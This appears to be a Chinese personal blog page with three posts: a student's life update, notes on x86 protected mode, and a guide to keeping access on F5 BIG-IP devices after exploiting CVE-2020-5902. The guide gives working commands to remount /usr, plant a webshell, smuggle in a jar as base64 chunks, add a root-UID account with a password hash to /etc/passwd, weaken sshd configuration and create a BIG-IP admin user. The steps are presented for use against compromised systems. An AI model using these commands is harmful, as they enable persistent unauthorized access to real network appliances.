近况

吐槽

好久没写博客了,疫情到现在也好久了。

一瞬间大二就那么过去了啊,疫情呆在家的几个月的回忆在刚来学校的半个月内就冲淡了。

仿佛那几个月压根没发生过一样,不知不觉就大三了,记忆中还停留在大二的时候。总感觉十分的亏。

刚来学校第一周就是各种考试,主修考试+其他小考试,都是大二网课没办法考的东西的余留。

不出意外的主修考试器乐演奏拿了个段一,其实我是没想过拿段一的,就是普普通通上去考了,本以为要两三天才会出成绩,结果早上考完晚上成绩就出来了,十分的离谱。

一到开学就又是烦了,烦学习,成绩倒是不怎么担心,担心的是各种其他考试,比如教师资格证考试啊,还有社团等七七八八的。是真的不想管。

疫情过后,视力下降的是最严重的。甚至是肉眼可见的。以前我在宿舍的桌前可以看到字号11的字体,现在已经看的很吃力甚至看不清了。进入大脑消耗过多算力去解析输入,我似乎发现我以前在学校为啥学不好了.jpg,以前我也是这样,看到黑板就十分吃力,不是看不见的那种,看不见还好,完全就不鸟他了,就是那种看的见,但是又有点模糊,你的大脑就会消耗算力去解析输入,然后看久了就头疼,很难受。

不过好在我之前一直以为我眼镜会不会到了900度。。不过试了同学650度的眼镜感觉还差不多。。还好还好还不至于900度成为瞎子。

技术方面好久没精进了,特别是理论方面,疫情在家就纯实践了。。当然实践也确实实践到了许多东西(,不过感觉自己还是太菜了,希望能加油吧,总之就这样了

Tags: 近况

CVE-2020-5902 权限维持

起因

这次这个RCE还好,说不好用它给的权限是root,说好用能打的又很少,大部分还不出网,ssh又连不上。复现我也不复现了,分析我也不分析。exp网络上一大把,我就说说怎么加个webshell吧。
毕竟大部分机器都是不出网,你ssh开不进去,反弹又反弹不出来。不过既然你能打exp,那么说明就是web是开启的,我们唯一的好方法自然就是加个webshell了。

写webshell

web路径在/usr/local/www/tmui下,但是默认路径会被redict到login.jsp,所以我们可以写到静态文件目录,也就是/usr/local/www/tmui/tmui/login/images/下面,当然直接写过去肯定是不行的,因为/usr权限是ro。

访问webshell

我们得执行mount -o remount rw /usr重新挂载/usr,这样我们才有权限写webshell。写了webshell,开开心心的访问,你肯定会看到大大的13463bd115d3d229196685b53bdb8a5a72bb36a6_2_690x282.png,根据90老哥的指点,我们得放一个ecj-4.4.jar包上去,放的路径记住是/usr/share/tomcat/lib,放到这下面。

如果你可以 出网,那么好说,直接用curl从远程下载一份到这个目录就行,如果不能出网,恭喜你,我的解决办法是把这个jar先base64,然后分割成30份,然后30分轮流echo 输出到远程/tmp/tmp.txt下,然后再用(cat /tmp/tmp.txt|base64 -d) > /usr/share/tomcat/lib/ecj-4.4.jar,由于网络/exp的缘故,成功率十分的感人。

之后得重启tomcat,如何重启呢?这个big-ip自带了重启命令,直接运行/usr/bin/restart_tomcat就行。

提权

提权就简单很多了,直接echo "abcd:advwtv/9yU5yQ:0:0:root:/home/abcd:/bin/bash" >>/etc/passwd 这样我们就能在冰蝎用控制台直接su提权了

如果ssh允许出网

那么简单许多了,ssh配置路径在/config/ssh/sshd_config
设置了PAM。不允许证书和密码登陆,所以我们要先用命令修改

sed -i "s/UsePAM yes/UsePAM no/g"  /config/ssh/sshd_config
sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/g"  /config/ssh/sshd_config
service sshd restart

然后就可以利用上面写入/etc/passwd的东西来进行ssh登陆了

如果SSH登陆。可以尝试运行这个tmsh create auth user baka2 password baka@bie123 partition-access add { all-partitions { role admin } },运行后会在https添加用户。即可登陆bigip的web控制台,在路由哪里设置allow就行

Tags: exp, rce

OS相关笔记

前言

又到了学习的时候了,上次记笔记是在2017年学汇编的时候。

记录的笔记挺有用,既能加深印象,又能再需要用的时候随时翻出来查,也能证明自己确实是学过了。

话不多说,开始吧

boot

扇区512字节,结尾是0xaa55

7c00

主引导内存地址。至于为什么。
参考:

为什么主引导记录的内存地址是0x7C00?

GDT

gdt.png

// 一个bytes 8字节
struct Descriptor{
    segment_Length = new bytes(2),
    baseAddress = new bytes(3),
    attr = new bytes(2),
}

实模式/保护模式

实模式寻址方式:

段寄存器 * 16 + 偏移( 16 bit )

保护模式寻址:

selector:偏移
selector = 指向GDTde偏移->从GDT中找到32位基地址

实模式到保护模式

  • 准备GDT
  • 用lgdt加载gdtr
  • 打开A20
  • 进入保护模式

LDT

和GDT一样,不过一个是全局一个是局部。只不过selector的TI位置必须设置为1

使用lldt加载

什么是保护模式?保护在哪?

每个段地址被gdt表限制,不能超出访问

每个段的作用也在gdt表中明确指明

层级跃迁使用,和LDT,GDT一样都是个结构体

调用门

929457-20170103234617253-66741751.png
调用方式:call 调用门,调用门结构体储存选择子,和偏移,最后调转的的地址是选择子中的基地址加上偏移。

对于call和jmp指令,有着不同的优先级检查规则的:

  

对call来说:当前CPL<=调用门描述符DPL,RPL<=调用门描述符DPL,当前CPL>=目的代码段描述符DPL;

对jmp来说:除了跟call的“当前CPL<=调用门描述符DPL,RPL<=调用门描述符DPL”一样外,如果目的代码段的一致的话,CPL>=目的代码段的DPL,而如果目的代码段是非一致的话,CPL=目的代码段的DPL。

另外,只有call指令可以将代码通过调用门转移到特权级更高的非一致性代码之中。对于非一致性代码的成功转移,CPL被目的代码的DPL刷新,会引起堆栈切换;对于一致性代码,不会刷新,也不会切换。

调用门的作用是,让一个代码段中的过程被不同特权级的程序访问。通常用于低特权级代码来访问高特权级的代码段。

Tags: 笔记, os
文章总数:176篇 分类总数:4个